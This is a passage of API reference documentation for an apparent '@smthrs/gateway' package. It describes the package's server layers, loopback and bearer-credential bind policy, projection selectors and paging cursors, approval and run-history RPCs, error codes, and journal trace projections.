| `watchHeartbeatKind`         | `"control.gateway.heartbeat"`                                                                                                     | The `ControlEvent` kind a `Watch` keepalive carries.                                                            |

`POST /rpc` is deliberately not in `protectedPaths`, and `GET /health` is
deliberately unauthenticated. Both decisions, and the alias handling behind
`routedPath`, are explained in
[the trust boundary](https://github.com/smithersai/smithers/blob/main/packages/smithers/gateway/docs/concepts/trust-boundary.md).

### Layers

| Export                      | Signature                                                                   | Provides                                                                                                 |
| --------------------------- | --------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------- |
| `layer`                     | `(health: Health, options?: LayerOptions) => Layer<..., GatewayError, ...>` | The whole surface. Fails with `bind_failed` for a non-positive cadence or body limit.                    |
| `layerHealth`               | `(health: Health) => Layer<never, never, HttpRouter>`                       | The unauthenticated `GET /health` probe.                                                                 |
| `layerHandlers`             | `Layer<Handler<...>, never, Control \| Projections>`                        | The gateway's own RPC handlers over the read path and the approval mutation.                             |
| `layerControlHttp`          | `(millis?: number) => Layer<RpcServer.Protocol, never, ...>`                | `/rpc` and `/rpc/ws`, with the keepalive merged into `watch`.                                            |
| `layerProjectionsHttp`      | `Layer<RpcServer.Protocol, never, ...>`                                     | `/projections` and `/projections/ws`. Both protocols mount together so they cannot disagree.             |
| `layerSyncHttp`             | `Layer<RpcServer.Protocol, never, ...>`                                     | `/sync` and `/sync/ws`.                                                                                  |
| `layerIngress`              | `(options?: IngressOptions) => Layer<...>`                                  | The global middleware: local Host/Origin policy, edge authentication, body limit, and RPC-message check. |
| `layerKeepAlive`            | `(millis?: number) => Layer<Control, never, Control>`                       | Wraps the ambient `Control` so `watch` emits a keepalive when idle.                                      |
| `layerProjectionsKeepAlive` | `(millis: number) => Layer<Projections, never, Projections>`                | Wraps the ambient `Projections` so a followed subscription beats at the bind's cadence.                  |

`layerKeepAlive` wraps the service rather than re-declaring handlers, which
keeps `@smthrs/control` `ControlServer` the single definition of what every
procedure does, including the principal it stamps on mutations.

### Functions

| Export              | Signature                                                                                     | Answers                                                                                                |
| ------------------- | --------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
| `routedPath`        | `(url: string) => string`                                                                     | The mount a request target reaches, spelled the way `rpcPaths` and `protectedPaths` spell it.          |
| `exceededBodyLimit` | `(error: unknown) => boolean`                                                                 | Whether a failed body read hit the configured size limit rather than failing for another reason.       |
| `bodyRefusal`       | `(path: string, maxBytes: number, error: unknown) => { error: GatewayError; status: number }` | 413 `request_too_large` for an overflow, 400 `malformed_request` for every other read failure.         |
| `carriesRpcRequest` | `(serialization: RpcSerialization["Service"], body: string) => boolean`                       | Whether a body carries at least one RPC message the server can act on. A binary framing is always yes. |

## `node/NodeGateway`

The Node host: bind policy, credential policy, and the socket.

| Export                 | Signature                                                                                                                                                                                  | Meaning                                                                                                                                                              |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `ServerOptions`        | `ListenOptions & { requestScheme?: "http:" \| "https:"; allowedHosts?: readonly string[]; listen?: boolean; credential?: string; heartbeatMillis?: number; maxRequestBodyBytes?: number }` | Bind address, explicitly admitted Host names, authentication, and request limits. `requestScheme` defaults to `http:`; set `https:` behind a trusted TLS terminator. |
| `defaultServerOptions` | `ServerOptions`                                                                                                                                                                            | `{ host: "127.0.0.1", port: 7331 }`: loopback, no credential.                                                                                                        |
| `isLoopbackHost`       | `(host: string) => boolean`                                                                                                                                                                | True for `127.0.0.1`, `::1`, and `localhost`, and nothing else.                                                                                                      |
| `bindRefusal`          | `(options: ServerOptions) => GatewayError \| undefined`                                                                                                                                    | The typed `bind_failed` refusal a requested bind earns, or `undefined` when it is allowed.                                                                           |
| `listenOptions`        | `(options: ServerOptions) => Effect<ListenOptions, GatewayError>`                                                                                                                          | The admitted `node:net` options, with this module's own fields removed, or that refusal in the error channel.                                                        |
| `ingressOptions`       | `(options: ServerOptions) => GatewayServer.IngressOptions`                                                                                                                                 | The Host policy for a bind: the loopback names, `allowedHosts`, and the concrete bind host; a wildcard bind adds nothing.                                            |
| `layerAuth`            | `(options: ServerOptions) => Layer<ControlRpcs.ControlAuth>`                                                                                                                               | The bearer or a scoped token minted under it when a credential is configured; the loopback-only local operator otherwise.                                            |
| `bearerPrincipal`      | `Readonly<{ id: string; kind: string }>`                                                                                                                                                   | The frozen `{ id: "gateway", kind: "bearer" }` identity stamped by shared-bearer authentication.                                                                     |
| `scopedPrincipal`      | `Readonly<{ id: string; kind: string }>`                                                                                                                                                   | The frozen `{ id: "gateway", kind: "scoped" }` identity a verified scoped token stamps.                                                                              |
| `scopedTokenPaths`     | `ReadonlyArray<string>`                                                                                                                                                                    | The protected mounts a scoped token may reach at the edge: `/rpc`, `/projections`, their sockets, and `/auth/ticket`.                                                |
| `layer`                | `(health: GatewayServer.Health, options?: ServerOptions) => Layer<..., GatewayError, Control \| SyncAuth \| SyncServer \| Projections>`                                                    | The assembled gateway on a Node HTTP server.                                                                                                                         |

`layer` supplies the bind policy, the shared-credential authentication both RPC
mounts run under, and newline-delimited JSON as the wire serialization. The
caller supplies `Control`, `Projections`, `SyncServer`, and `SyncAuth`. The
returned layer retains the concrete `HttpServer` service, so a caller that
bound port 0 can read the ephemeral address it got. Policy refusals and
operating-system listen failures both fail the layer as sanitized `bind_failed`
values.

### Bind and credential policy

Two rules decide whether a bind is allowed, and both fail closed.

1. A non-loopback host requires an explicit `listen` opt-in.
2. A non-loopback bind requires a bearer credential.

A loopback bind with no credential is allowed and is the local default. One
shared bearer authenticates every mount as `bearerPrincipal`. This does not
grant approval authority. The owning Control runtime must explicitly delegate
the allowed approval target kinds and scopes through `ApprovalAuthority`;
without that delegation, bearer approve and deny requests are unauthorized.
Every holder of the shared credential has the same delegated authority. See
[Serve beyond loopback](https://github.com/smithersai/smithers/blob/main/packages/smithers/gateway/docs/guides/serve-beyond-loopback.md).

Without that bearer, `NodeGateway.layer` enables `loopbackOnly`: every request
must carry a loopback `Host`. With or without a bearer, a supplied browser
`Origin` must be a canonical HTTP(S) origin whose host and port equal the
request's `Host`; serve a browser client from the gateway's origin or through a
same-origin proxy. An Origin-less CLI request remains accepted. The same guard runs on HTTP and WebSocket
upgrades before any mount handles them.

## `Projections`

The read path, served as bounded snapshots and followed deltas.

| Export                    | Signature                                                                                                      | Meaning                                                                                                            |
| ------------------------- | -------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ |
| `Projections`             | `Context.Service` tagged `@smthrs/gateway/Projections`                                                         | The service tag the mounts read through.                                                                           |
| `Service`                 | `{ snapshot; subscribe }`                                                                                      | Read-path operations served by the gateway.                                                                        |
| `Service.snapshot`        | `<S extends ProjectionSelector>(selector: S, after?: ProjectionCursor) => Effect<SnapshotOf<S>, GatewayError>` | Current rows, or the run-events suffix after `after`, with the current cursor.                                     |
| `Service.subscribe`       | `<S extends ProjectionSelector>(selector: S, after?: ProjectionCursor) => Stream<FrameOf<S>, GatewayError>`    | A snapshot followed by deltas and keepalives, or, with `after`, the deltas after that cursor alone.                |
| `make`                    | `(control: ControlService, options?: { heartbeatMillis?: number }) => Effect<Service, GatewayError>`           | Builds the read path over a control plane. Invalid settings are `bind_failed` failures; construction never throws. |
| `layer`                   | `Layer<Projections, GatewayError, Control>`                                                                    | The read path over the ambient control plane, at the default cadence.                                              |
| `layerWith`               | `(options: { heartbeatMillis?: number }) => Layer<Projections, GatewayError, Control>`                         | The same under an explicit keepalive cadence.                                                                      |
| `heartbeatIntervalMillis` | `30_000`                                                                                                       | How often an idle subscription emits a keepalive frame.                                                            |
| `maxWorkspaceRuns`        | `500`                                                                                                          | The most runs one workspace projection folds, newest first. Equals `ControlSchema.maxPageSize`.                    |
| `maxEventsPerRun`         | `10_000`                                                                                                       | The most journal events retained per run; older events enter the carried digest.                                   |
| `maxEventsPerPage`        | `1_000`                                                                                                        | The most events one `run-events` page returns.                                                                     |
| `maxEventBytes`           | `16 * 1024`                                                                                                    | Retained event size before clipping. Native engine events on `run-events` pages are exempt.                        |
| `maxProjectionBytes`      | `4 * 1024 * 1024`                                                                                              | The encoded byte budget for retained events plus digest identity state, an event page, or a projected row set.     |

`ControlService` is `@smthrs/control` `Control`'s service interface, the shape
the tag carries.

`run-events` pages return complete `control.engine.event` payloads so clients
can decode native result contracts. Other oversized events are clipped. A
single encoded event plus its array brackets exceeding `maxProjectionBytes`
fails with `GatewayError` code `resource_limit`; a full page ends at its cursor.

## `GatewaySchema`

The wire schemas the read path and its subscriptions speak. Every entry is an
`effect` `Schema` with a same-named type. Every schema here is served: the
gateway mints, reads, or answers with each one.

### Identity

| Export          | Fields                                          |
| --------------- | ----------------------------------------------- |
| `GatewayHealth` | `workspaceHash`, `gatewayId`, `protocolVersion` |

### Selectors

| Export                  | Shape                                    |
| ----------------------- | ---------------------------------------- |
| `ProjectionName`        | the eight served projection names        |
| `WorkspaceRunsSelector` | `{ _tag: "workspace-runs" }`             |
| `RunSummarySelector`    | `{ _tag: "run-summary", runId }`         |
| `RunEventsSelector`     | `{ _tag: "run-events", runId }`          |
| `TranscriptSelector`    | `{ _tag: "transcript", runId }`          |
| `RunTreeSelector`       | `{ _tag: "run-tree", runId }`            |
| `ApprovalsSelector`     | `{ _tag: "approvals", runId? }`          |
| `NodeOutputSelector`    | `{ _tag: "node-output", runId, nodeId }` |
| `FlowDurationsSelector` | `{ _tag: "flow-durations", flowId }`     |
| `ProjectionSelector`    | the union of the eight                   |

`ApprovalsSelector` without `runId` lists the workspace's pending gates, which
is the approvals inbox. With one it lists that run's gates including the decided
ones, which is what a run card renders.

`FlowDurationsSelector` is the one selector scoped to a flow rather than to a
run. It ranks the durations the flow's newest finished runs measured, so a
client reads it once when it opens a card and again when a run finishes, never
inside a poll loop.

`rowSchemaFor<S extends ProjectionSelector>(selector: S)` answers the schema of
the rows that selector projects, so a client decodes a snapshot instead of
casting it. A literal selector keeps its own row: `rowSchemaFor({ _tag:
"approvals" })` is `ApprovalRow`, not the union of every row. `RowOf<S>` is that
row's type.

### Cursors, snapshots, and frames

`Projection.Snapshot` accepts optional `after: ProjectionCursor` for
`run-events` only. It returns rows strictly after that sequence and offset,
with the cursor the read reached. An unchanged journal returns no rows, and so
does a cursor at or past the journal's head. The cursor must belong to the same
selector and run; other selectors with `after` return `malformed_request`.
Omit `after` for the first page: the empty cursor `0:0` also names the first
sequence-zero event.

A `run-events` snapshot is a PAGE, not the whole journal. It carries at most
`maxEventsPerPage` events and `maxProjectionBytes`, whichever binds first, and
the cursor it answers with names the last event it carried. A reader pages by
passing that cursor back until a page comes back empty. Every other selector
answers rows whose size the selector bounds, so it reads the reconciled source
and needs no paging.

| Export               | Shape                                                                      |
| -------------------- | -------------------------------------------------------------------------- |
| `ProjectionCursor`   | `{ selector, projection, runId: string \| null, value: int, offset: int }` |
| `ProjectionSnapshot` | `{ selector, cursor, rows }`, correlated on the selector                   |
| `SnapshotStartFrame` | `{ _tag: "snapshot-start", selector, cursor }`                             |
| `RowFrame`           | `{ _tag: "row", selector, cursor, row }`                                   |
| `SnapshotEndFrame`   | `{ _tag: "snapshot-end", selector, cursor }`                               |
| `DeltaFrame`         | `{ _tag: "delta", selector, cursor, delta }`                               |
| `HeartbeatFrame`     | `{ _tag: "heartbeat", atMs }`                                              |
| `GatewayFrame`       | the union of all five frame kinds                                          |

`ProjectionSnapshot`, `RowFrame`, and `DeltaFrame` are unions correlated on the
selector, so a payload whose rows do not belong to its selector does not decode.
One table in `GatewaySchema` pairs each selector with its row, and those three
unions, `ProjectionName`, and `rowSchemaFor` all derive from it.
`runId` is `null` for a workspace cursor, whose `value` is always 0, because
control journal sequences belong to per-run partitions and no workspace-wide
sequence exists.

`SnapshotOf<S>` is the snapshot one selector answers with and `FrameOf<S>` the
frames its subscription emits, so a literal selector keeps its own rows. A
selector chosen at runtime maps to the full `ProjectionSnapshot` and
`GatewayFrame` unions, which is what it can be answered with.

## `GatewayProjection`

The stable wire rows and the pure folds that compute them. Nothing here exposes
a store row, a database column, or an engine type.

### Rows

| Export          | Carries                                                                                                                                                                                                                                                                                                                                                               |
| --------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `RunSummaryRow` | `runId`, `flowId`, `status`, `statusRollup` (the `@smthrs/control` `Health.StatusRollup` a status surface renders; optional on the wire, folded on every row the gateway serves), `createdAt`, `updatedAt`, the optional plan, lineage, waiting, steering, cancellation, and seat fields, the activity and token counters, `verdict`, `diagnosis`, and `finalOutput`. |
| `RunTreeRow`    | `runId`, `nodeId`, `label`, `status` (`running`, `completed`, `failed`), `seat?`, `startedAt`, `endedAt?`, `parentRunId?`.                                                                                                                                                                                                                                            |
| `ApprovalRow`   | `runId`, `requestId`, `title`, `request`, `payload` (the `ControlSchema.ApprovalPayload` a client submits back), `requestedAt`, `status`.                                                                                                                                                                                                                             |
| `NodeOutputRow` | `runId`, `nodeId`, `outcome` (`success` or `failure`), `output`, `settledAt`.                                                                                                                                                                                                                                                                                         |
| `TranscriptRow` | `runId`, `sequence`, `turn`, `at`, `kind`, `text`. Each `text` is one display line.                                                                                                                                                                                                                                                                                   |

### Folds

| Export         | Signature                                                              | Notes                                                                                                                                                                                                                                                                                                                                                                                                           |
| -------------- | ---------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `runSummary`   | `(run: ControlSchema.RunSummary, events, now?) => RunSummaryRow`       | Status comes from the run row, everything else from the events. `now` expires the health reading; it defaults to the later of the row's `updatedAt` and the last event.                                                                                                                                                                                                                                         |
| `statusRollup` | `(run: ControlSchema.RunSummary, events, now) => Health.StatusRollup`  | Lifecycle from the run row; activity and observed health from the current incarnation's highest evidence sequence, with durable sequence breaking ties. Freshness also requires a successful reading whose evidence covers later progress and whose lifetime includes `now`. Stale readings retain provenance but cannot establish activity. A malformed observation or one from a former owner colors nothing. |
| `runTree`      | `(run: ControlSchema.RunSummary, events) => ReadonlyArray<RunTreeRow>` | Keys each call by the ordinal it opened on; pairs a settlement with the oldest open call of that flow name.                                                                                                                                                                                                                                                                                                     |
| `approvals`    | `(events) => ReadonlyArray<ApprovalRow>`                               | A decision closes the gate its `tokenId` names; one naming neither field closes the oldest pending gate.                                                                                                                                                                                                                                                                                                        |
| `nodeOutput`   | `(events) => ReadonlyArray<NodeOutputRow>`                             | Keyed the way `runTree` keys its rows, so both agree on a node id.                                                                                                                                                                                                                                                                                                                                              |
| `transcript`   | `(events) => ReadonlyArray<TranscriptRow>`                             | One row per `control.run.*`, `control.agent.*`, and approval-request event, numbered by turn.                                                                                                                                                                                                                                                                                                                   |

`statusRollup` is an additive optional wire field. Existing Effect decoders
strip unknown properties by default, and current clients still decode older
rows without it. The app validates the subject and lifecycle, expires stale
activity, and falls back to the existing status when the field is absent.
Clients configured to reject unknown properties must admit this field before
reading the newer wire shape.

Every fold takes `ReadonlyArray<ControlSchema.ControlEvent>` in run order and is
total: an unknown kind contributes nothing.

## `GatewayRpcs`

The gateway's own remote procedures. Control mutations are not re-declared here:
`@smthrs/control` `ControlRpcs` is the mutation contract, and the gateway mounts
it unchanged on `/rpc`. The group shares `ControlRpcs.ControlAuth`, so one
bearer credential authenticates both mounts.

| Procedure              | Payload                           | Success                   | Error                                                                                                                                                                           |
| ---------------------- | --------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Projection.Snapshot`  | `{ selector }`                    | `ProjectionSnapshot`      | `GatewayError`                                                                                                                                                                  |
| `Projection.Subscribe` | `{ selector, after? }`, streaming | `GatewayFrame`            | `GatewayError`                                                                                                                                                                  |
| `Approval.Submit`      | `SubmitApprovalInput`             | `SubmitApprovalOutput`    | `PlanDigestMismatch`, `EnvelopeMismatch`, `AlreadyResolved`, `PlanNotFound`, `RunNotFound`, `InvalidInput`, `Unauthorized`, `PersistenceError`, `Unavailable`, `TransportError` |
| `Run.Fork`             | `RunHistory.ForkInput`            | `RunHistory.ForkOutput`   | `HistoryRefused`, `Unauthorized`, `Unavailable`                                                                                                                                 |
| `Run.Verify`           | `RunHistory.VerifyInput`          | `RunHistory.VerifyReport` | `HistoryRefused`, `Unauthorized`, `Unavailable`                                                                                                                                 |

| Export                 | Shape                                                     |
| ---------------------- | --------------------------------------------------------- |
| `Decision`             | `"approve" \| "deny"`                                     |
| `SubmitApprovalInput`  | `ControlSchema.ApprovalPayload` fields plus `decision`    |
| `SubmitApprovalOutput` | `{ decision: ControlSchema.Receipt }`                     |
| `GatewayRpcs`          | the `RpcGroup`, with `ControlRpcs.ControlAuth` middleware |

`Approval.Submit` is the transport form of Control's single decision command.
Control records the decision and its durable resume delegation as one domain
command; the gateway never composes a second mutation, and its error union is
exactly the one `Control.approve` and `Control.deny` declare. See
[Submit an approval from a client](https://github.com/smithersai/smithers/blob/main/packages/smithers/gateway/docs/guides/submit-an-approval.md).

`Run.Fork` and `Run.Verify` are served by the host that owns the project's
stores, through `RunHistory`; see below.

## `RunHistory`

A run's recorded history as the gateway serves it. `Run.Fork` branches a run at
the exact journal sequence `at` into a parked child, optionally with one step's
recorded result replaced; `Run.Verify` reports what resuming a run under the
current flow code would replay and what it would execute again. They answer
exactly what `smthrs runs fork` and `smthrs runs verify` print, because
`smthrs serve` implements the service over the same history library. A gateway
composed without the service answers both `Unavailable`. Both procedures are
in the `write:runs` token scope, and an anonymous loopback caller is
`Unauthorized`: a fork writes a durable run and a verification drives the
project's flow code.

| Export           | Shape                                                                                                                    |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------ |
| `Step`           | `{ stepKeyDigest, action?, node? }`                                                                                      |
| `VerifyInput`    | `{ runId }`                                                                                                              |
| `VerifyReport`   | `{ runId, verdict: "consistent" \| "divergent", replayed, resumes?, executes?, notReplayed }`                            |
| `StepEdit`       | `{ stepKeyDigest, result }`                                                                                              |
| `ForkInput`      | `{ runId, at, lineage?, step?: StepEdit }`                                                                               |
| `ForkOutput`     | `{ runId, parentRunId, status: "parked" }`                                                                               |
| `HistoryRefused` | the host's refusal: the CLI's stable `code` and sentence (`history_missing`, `history_frame_missing`, `run_active`, ...) |
| `Service`        | `{ fork(input), verify(input) }`                                                                                         |
| `RunHistory`     | the service tag a host provides                                                                                          |

A divergent report is an answer, not a failure: the CLI exits 1 with
`run_divergent` for it, while `Run.Verify` returns the report so a client can
show which recorded steps would not replay.

## `Diagnosis`

What happened to a run, computed from that run's own control events. This is
the one fold both surfaces read: `@smthrs/cli` `Forensics` calls `digest` and
adds what a terminal card needs on top of it, so the served row and
[`smthrs runs show`](/docs/reference/cli/runs/) cannot disagree about a run's counts, refusals,
or clipping.

| Export           | Signature                                                                           | Answers                                                                                                                                                           |
| ---------------- | ----------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Digest`         | interface                                                                           | Status, cause, seat, turn and call counts, edits, refusals, tokens, final output, pending question, and the span the events cover.                                |
| `Refusal`        | `{ message: string; count: number }`                                                | One refused flow call, aggregated by its message.                                                                                                                 |
| `Subject`        | `{ runId: string; flowId?: string }`                                                | The identity a diagnosis is rendered for.                                                                                                                         |
| `RunStatus`      | `ControlSchema.RunStatus`                                                           | The run statuses a digest may report.                                                                                                                             |
| `digest`         | `(events, runId?) => Digest`                                                        | The facts. Total: an unknown kind contributes nothing, including its timestamp. With `runId`, a `control.run.*` verdict stamped with another run's id is skipped. |
| `resolvedOutput` | `(value: Pick<Digest, "finalOutput" \| "nativeResolution">) => string \| undefined` | Assistant output first, otherwise a committed native result matching the host's root binding.                                                                     |
| `verdict`        | `(value: Digest) => string`                                                         | One line: the status plus the reason that most explains it.                                                                                                       |
| `duration`       | `(span: Pick<Digest, "startedAt" \| "endedAt">) => string`                          | The wall-clock span the handled events cover, as `12s` or `3m 04s`.                                                                                               |
| `usd`            | `(value: number) => string`                                                         | A USD amount: `$12.34` from one dollar, `$0.0042` below it.                                                                                                       |
| `render`         | `(subject: Subject, value: Digest) => string`                                       | The whole card: verdict, activity evidence, tokens, cost, refusals, cause, and output.                                                                            |
| `asRecord`       | `(value: unknown) => Record<string, unknown>`                                       | A wire payload as a record, or an empty record when it is not one.                                                                                                |
| `asString`       | `(value: unknown) => string \| undefined`                                           | A payload field as a string, or nothing.                                                                                                                          |
| `asNumber`       | `(value: unknown) => number \| undefined`                                           | A payload field as a number, or nothing.                                                                                                                          |
| `timeOf`         | `(event) => number`                                                                 | When an event occurred: its payload's own stamp, else journal admission time.                                                                                     |
| `firstLine`      | `(text: string) => string`                                                          | The first line, whichever line ending produced it, so a CRLF cause loses its carriage return.                                                                     |
| `clip`           | `(text: string, width: number) => string`                                           | Truncation on code points, never on UTF-16 code units, marking the cut with an ellipsis.                                                                          |

`RunSummaryRow.verdict` and `RunSummaryRow.diagnosis` are `verdict` and `render`
already applied, so a client rendering a run card calls neither. See
[Diagnose what happened to a run](https://github.com/smithersai/smithers/blob/main/packages/smithers/gateway/docs/guides/diagnose-a-run.md).

`emptyDigest()` is the identity for `combine(earlier, later)`. Digests retain
private in-memory scalar identity contributions so adjacent ranges deduplicate
replayed calls and checkpoints and prefer native facts over telemetry. Keep the
returned digest objects when combining ranges; serialized or spread copies
retain only aggregate facts, not this reconciliation state. Gateway projection
retention charges this state to the existing byte budget and returns
`resource_limit` if exact state cannot fit.

`Digest.nativeResolution` optionally retains `binding: { runId, executionId }`,
`result: { runId, executionId, text }`, and `conflict: true` across bounded
journal windows. `combine` preserves this evidence. `resolvedOutput` accepts
only an unambiguous committed success for the bound `agent/run` root, ignoring
child results and telemetry. String results remain strings; other JSON values
are serialized. `RunSummaryRow.finalOutput`, `verdict`, and `diagnosis` use
this resolved output.

## `GatewayError`

| Export             | Signature                                                                 | Meaning                                                                                     |
| ------------------ | ------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- |
| `GatewayErrorCode` | nine literals                                                             | The whole failure vocabulary.                                                               |
| `GatewayError`     | `Schema.TaggedError` tagged `@smthrs/gateway/GatewayError`                | `{ code, message, cause? }`, where `cause` is a `{ _tag, code? }` summary and nothing more. |
| `settingRefusal`   | `(name: string, value: number \| undefined) => GatewayError \| undefined` | The refusal a numeric setting earns when it is not a positive safe integer.                 |

Every code is constructed by a real path, and the declared vocabulary is exactly
the set those paths produce.

| Code                | Status | Produced by                                                                                                                                              |
| ------------------- | ------ | -------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `bind_failed`       | none   | `NodeGateway.bindRefusal`, `NodeGateway.listenOptions`, `GatewayServer.layer`, `GatewayServer.layerIngress`, and `Projections.make`, at composition time |
| `invalid_host`      | 421    | the ingress guard, when `Host` is not in `allowedHosts`, or under `loopbackOnly` does not name `localhost`, `127.0.0.1`, or `[::1]`                      |
| `invalid_origin`    | 403    | the ingress guard, when a supplied browser `Origin` is not a canonical HTTP(S) origin whose host and port equal the request's `Host`                     |
| `unauthorized`      | 401    | the ingress guard, on any protected path without the configured credential                                                                               |
| `malformed_request` | 400    | the ingress guard, for a `POST` body carrying no RPC request message or a body it could not read, and the read path, for an invalid resume cursor        |
| `request_too_large` | 413    | the ingress guard, for a body over the configured limit                                                                                                  |
| `resource_limit`    | none   | the read path, when one run or projected row set exceeds its event or encoded-byte allowance                                                             |
| `run_unavailable`   | none   | the read path, when listing runs, reading a run's events, or following a run or the workspace failed                                                     |
| `run_not_found`     | none   | the read path, for a run the control plane does not have, identically for every run-scoped selector                                                      |

`GatewayError.cause` carries only a redacted summary of an internal failure: its
tag and its stable code. Projection warnings log an allowlisted operation
identifier and known control error tag/code pairs. Backend messages, nested
causes, SQL, and file paths are omitted from projection logs.

## `Sync`

The root entry re-exports [`@smthrs/sync`](/docs/reference/api/sync/) whole, so a gateway host
gets the read-only journal replication protocol from the same import:
`SyncClient`, `SyncServer`, `SyncProtocol`, `SyncRpcs`, `SyncError`,
`RunCatalog`, and the rest of that package's namespaces.

Sync is read-only in both senses: a follower cannot mutate a run, and it cannot
resume one. See [Sync and read-only followers](/docs/concepts/sync/).

## `RunTrace`

The pure journal projection shared by the app and terminal monitors. Import
`@smthrs/gateway/RunTrace`; it requires no server or filesystem. Records without
evidence do not acquire invented phases, successful checks, or file changes.

- `traceFromJournal(run, records, options?)` builds a `TraceModel`: nested
  spans, frame summaries, phase bands, milestone pins, and discipline notes.
- `monitorFromJournal(run, records, at?)` adapts that same fold to the install
  monitor: recorded step instances, deterministic phases, approval, sleep and deferred signal waits,
  bookkeeping and the raw journal. Steps are the nodes that dispatched an
  action; plan structure (`AndThen`, `Branch`, `Map` and the rest) and
  child-flow calls, whose own nodes are the steps, are not steps. A phase's
  title is its label plus the failures its recorded check receipts report
  ("Ran checks · 1 failed"). Bookkeeping nodes appear only in the Engine row;
  graph edges through them retain the visible dependency order. Declared native graph pages retain
  unreached nodes and dependency edges; recorded node instances supply their
  live states. The engine schedules a planned continuation with its plan, ahead
  of the node it follows: until every node its plan entry depends on has
  settled (any outcome but `deferred`), its span is `pending`, it is no step,
  and its graph node is `next`; it starts, `running`, when the last of them
  settles. A dependency scheduled again waits again. Rescheduled native nodes retain separate instance keys. A replay
  folds only records through `at`, derives terminal
  state from that prefix, and returns `replay: { at, last }`. It does not fetch
  a registry or execute presentation code. Each settled native step lists the
  dispatches it drove (`meter`), its journaled model calls and tokens, and its
  agent transcript as phase cells: model replies, cells with what they printed,
  and tool calls labelled by their recorded presentation ("Read t5.md"). The
  current adapter does not yet reconstruct all native wait kinds;
  Clock and deferred waits use typed native lifecycle observations, clock
  registrations and explicit deferred settlements. Deferred identities have no
  recorded question, pause or external-job classification and remain signals.
  Running or completed execution status alone never settles a wait. Repeated registrations retain the opening timestamp, generations
  have separate identities, and replay hides settlements beyond its cursor;
  callers price `meter` dispatches as described above.
- `inspectLabel(tag)` reads the build-generated Appendix C Inspect rendering.
  Coding call and native execution spans use the same labels. Dynamic
  `<cell-call:flow>` wrappers use the wrapped action's rendering; unknown
  historical tags keep their recorded id. Inspection and replay read data only.
- `traceFold(run, records?)` holds the same fold open. `traceFoldStep(fold,
  record)` adds one record at the cost of that record; `traceFoldSync(fold, run,
  records)` steps only what a grown journal appended; `traceFoldModel(fold,
  status)` returns the model `traceFromJournal` would build for the same records.
  A record out of sequence order, or a native fact that supersedes earlier
  telemetry, refolds the journal. `TraceFold` types the handle.
- `runMemoryOf(records)` folds the `relevance-settled` rows into the memory a
  run was brought and the memory Jev withheld, by id and relevance, most
  relevant first; undefined when Jev never read. `RunMemory` and `MemoryItem`
  type it. `smthrs status` prints the same fold.
- `turnNarratives(model)` derives concise recorded turn text. `spanPath(model,
  id)` finds recorded ancestry. `durationWords(ms)` formats elapsed time.
- `waterfallGeometry`, `phaseExtent`, and `phaseBandGeometry` calculate layout
  from recorded time. Historical inspection folds a journal prefix while the
  full trace supplies stable geometry.
- `callSubject` and `callSemantics` interpret captured flow descriptors, with
  compatibility for older records. `CallMetadata` names their descriptor fields.
- `spanMatches`, `traceFiltersFor`, `isTraceFilter`, and `TRACE_FILTER_IDS` own
  the shared filter vocabulary (`all`, `running`, `failed`, `model`, `flow`,
  `messages`). Historical fork spans remain readable without a fork filter. `TraceFilter` and `TraceView` type that state.
- `JournalRecord`, `TraceRun`, `TraceOptions`, `TraceSpan`, `TranscriptCell`, `SpanKind`,
  `SpanStatus`, `SpanDetail`, `TraceExtent`, `PhaseId`, `PhaseBand`, `Milestone`,
  `TraceOwner`, `FrameLine`, `TraceNote`, and `TurnNarrative` describe the
  projection. `TranscriptCell` records one agent action inside a native step:
  its kind, label, optional code or output, model tokens, duration, and tone.
  `TraceBuilder` is the mutable draft used while folding, never a
  persisted graph or a second execution model.

The install monitor folds `flows.run.presentation` records from the machine's
native journal. A machine declares its custom view with `{ "kind": "text", "text":
"Hello, Ada" }` (at most 65,536 characters). The shipped Run Container renders
that text as an escaped custom slot beside the graph. Unsupported kinds and
extra fields are refused; repository modules and HTML are never loaded. Replay
uses the last declaration in its selected journal prefix, and a run without a
declaration has no custom slot. Host-priced `steps[].usage` supplies dollar
costs; repeated instances of a step are summed, while unpriced steps omit cost.

## `RunDevTools`

`@smthrs/gateway/RunDevTools` is the DevTools projection: a run inspected
like a component tree, as a view over the `RunTrace` model the run card, the
terminal and `smthrs runs devtools` already fold. `devTools(model)` is the tree
(`DevToolsModel`: one `DevToolsNode` per span with its measured timing, the
run's counts and wall time); `inspect(model, id?, options?)` is one node's
`DevToolsInspection` (recorded input, output, script, printed text, failure,
seat, tokens, child run, opening event, remaining fields, and the newest
`DevToolsFrame` records written while it was open, bounded by
`DevToolsOptions.frames`, `defaultFrameLimit` by default); `framesOf(model,
span)` is that frame rule alone; `lines(model, selected?, options?)` renders
the tree and the inspection as text for a terminal. Pure: no server, no
filesystem, no clock.

## `EngineTrace`

`@smthrs/gateway/EngineTrace` decodes native journal envelopes through the
contracts that wrote them. `engineTraceFromJournal(records)` produces spans;
`engineExecutionEvidence(records)` returns typed `EngineExecutionEvidence` for
result projections. `engineRunEvidence(records, rootId, cursorSeq?)` limits
facts to recorded ancestry and the inspection cursor. `engineProjectionPending`
reports unfinished observation independently of the run's terminal verdict.

## Host branch presence

`HostBranchPresence.layer(config)` composes the authenticated native host's
`/branch` presence RPCs and lease roster. It requires `RuntimeBridge.Config`
authentication on every RPC and refuses non-presence operations as `unsupported`.
This is a host adapter used by `GatewayServer`, rather than a package export path.

### Engine inspection journals

